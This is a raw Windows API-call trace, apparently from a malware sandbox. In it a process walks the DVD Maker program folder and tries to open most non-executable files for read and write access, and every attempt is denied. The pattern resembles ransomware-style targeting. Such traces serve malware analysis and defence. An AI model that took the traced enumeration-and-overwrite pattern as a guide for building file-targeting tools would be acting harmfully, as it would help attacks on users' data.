GetProcessHeap () returned 0x2ef0000 [0190.965] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0190.965] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5390a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc5390a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xd8800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0190.965] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0190.965] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0190.965] FindClose (in: hFindFile=0x2f18208 | out: hFindFile=0x2f18208) returned 1 [0190.965] GetProcessHeap () returned 0x2ef0000 [0190.965] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0190.965] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 0 [0190.965] FindClose (in: hFindFile=0x2f181c8 | out: hFindFile=0x2f181c8) returned 1 [0190.965] GetProcessHeap () returned 0x2ef0000 [0190.965] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16998 | out: hHeap=0x2ef0000) returned 1 [0190.965] FindNextFileW (in: hFindFile=0x2f18248, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0190.965] FindNextFileW (in: hFindFile=0x2f18248, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ef07a9b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ef07a9b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DVD Maker", cAlternateFileName="DVDMAK~1")) returned 1 [0190.965] GetProcessHeap () returned 0x2ef0000 [0190.965] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x46) returned 0x2f47d90 [0190.966] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ef07a9b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ef07a9b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f181c8 [0190.968] GetProcessHeap () returned 0x2ef0000 [0190.968] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47d90 | out: hHeap=0x2ef0000) returned 1 [0190.968] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ef07a9b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ef07a9b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.968] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1 [0190.968] GetProcessHeap () returned 0x2ef0000 [0190.968] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x248) returned 0x2f10788 [0190.968] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.969] GetLastError () returned 0x5 [0190.969] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cc441, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x499cc441, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1303c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bod_r.TTF", cAlternateFileName="")) returned 1 [0190.969] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\bod_r.TTF" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.971] GetLastError () returned 0x5 [0190.971] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0ed7565, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="directshowtap.ax", cAlternateFileName="")) returned 1 [0190.971] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\directshowtap.ax" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.971] GetLastError () returned 0x5 [0190.971] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ae6642, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc9ae6642, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x227600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DVDMaker.exe", cAlternateFileName="")) returned 1 [0190.971] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0190.971] GetProcessHeap () returned 0x2ef0000 [0190.971] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x52) returned 0x2f109d8 [0190.971] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\*.*", lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f18208 [0190.971] GetProcessHeap () returned 0x2ef0000 [0190.971] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f109d8 | out: hHeap=0x2ef0000) returned 1 [0190.971] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.971] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe.mui", cAlternateFileName="")) returned 1 [0190.972] GetProcessHeap () returned 0x2ef0000 [0190.972] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x254) returned 0x2f14588 [0190.972] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\dvdmaker.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.972] GetLastError () returned 0x5 [0190.973] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll.mui", cAlternateFileName="")) returned 1 [0190.973] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.974] GetLastError () returned 0x5 [0190.974] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 1 [0190.974] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.975] GetLastError () returned 0x5 [0190.975] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 0 [0190.975] FindClose (in: hFindFile=0x2f18208 | out: hFindFile=0x2f18208) returned 1 [0190.976] GetProcessHeap () returned 0x2ef0000 [0190.976] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0190.976] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd559b52d, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd559b52d, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xddb8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Eurosti.TTF", cAlternateFileName="")) returned 1 [0190.976] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Eurosti.TTF" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.977] GetLastError () returned 0x5 [0190.977] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fieldswitch.ax", cAlternateFileName="")) returned 1 [0190.977] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.977] GetLastError () returned 0x5 [0190.978] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="offset.ax", cAlternateFileName="")) returned 1 [0190.978] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.978] GetLastError () returned 0x5 [0190.978] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe46400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OmdBase.dll", cAlternateFileName="")) returned 1 [0190.978] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0efd6c5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0efd6c5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb102e1c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x432600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OmdProject.dll", cAlternateFileName="")) returned 1 [0190.978] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b6b5be, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b6b5be, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bb787f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pipeline.dll", cAlternateFileName="")) returned 1 [0190.978] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b5c53e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc7b5c53e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43aceae0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1cc000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PipeTran.dll", cAlternateFileName="")) returned 1 [0190.978] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rtstreamsink.ax", cAlternateFileName="")) returned 1 [0190.978] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\rtstreamsink.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.979] GetLastError () returned 0x5 [0190.979] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rtstreamsource.ax", cAlternateFileName="")) returned 1 [0190.979] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\rtstreamsource.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.980] GetLastError () returned 0x5 [0190.980] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55c168a, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd55c168a, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18208, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SecretST.TTF", cAlternateFileName="")) returned 1 [0190.980] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\SecretST.TTF" (normalized: "c:\\program files\\dvd maker\\secretst.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.980] GetLastError () returned 0x5 [0190.980] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shared", cAlternateFileName="")) returned 1 [0190.980] GetProcessHeap () returned 0x2ef0000 [0190.980] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x54) returned 0x2f109d8 [0190.980] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\*.*", lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f18208 [0190.985] GetProcessHeap () returned 0x2ef0000 [0190.985] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f109d8 | out: hHeap=0x2ef0000) returned 1 [0190.985] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.985] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 1 [0190.985] GetProcessHeap () returned 0x2ef0000 [0190.985] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x256) returned 0x2f14588 [0190.985] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Common.fxh" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.985] GetLastError () returned 0x5 [0190.985] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d12cc5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d12cc5, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x6895ae5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveAnother.png", cAlternateFileName="")) returned 1 [0190.985] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.986] 